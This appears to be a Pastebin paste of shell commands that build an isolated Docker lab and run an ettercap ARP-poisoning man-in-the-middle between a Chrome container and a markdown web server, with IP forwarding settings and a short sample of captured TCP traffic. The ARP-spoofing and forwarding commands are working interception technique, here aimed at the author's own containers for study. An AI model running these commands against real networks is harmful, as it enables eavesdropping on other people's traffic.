Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # the isolated network
- docker network create --subnet=172.19.0.0/24 --gateway 172.19.0.254 mynet123
- docker run --rm -it --net mynet123 --ip=172.19.0.7 --privileged kali/wireless:ettercap bash
- docker run --rm -d -u=1000:1000 --net mynet123 --ip=172.19.0.4 -v /tmp/.X11-unix:/tmp/.X11-unix -e DISPLAY=unix$DISPLAY -v $HOME/EmptyDir:/data -v /dev/shm:/dev/shm --cap-add=SYS_ADMIN image/chrome:latest
- docker run --rm -d --net mynet123 --ip=172.19.0.5 image/markdown:latest
- # First, some settings for forwarding
- sysctl -w net.ipv4.ip_forward=1
- sysctl -w net.ipv6.conf.all.forwarding=1
- sysctl -w net.ipv4.conf.all.send_redirects=0
- iptables -A FORWARD -i eth0@if16 -o eth0@if16 -j ACCEPT
- # launch mitm to capture anything between the other 2 containers:
- ettercap -T -M arp:remote -i eth0 /172.19.0.5// /172.19.0.4//
- Tue Jun 19 16:19:22 2018 [463117]
- TCP 172.19.0.4:51840 --> 172.19.0.5:80 | S (0)
- Tue Jun 19 16:19:22 2018 [463119]
- TCP 172.19.0.4:51842 --> 172.19.0.5:80 | S (0)
- ... and so on....
- python -m SimpleHTTPServer 80
Add Comment
Please, Sign In to add comment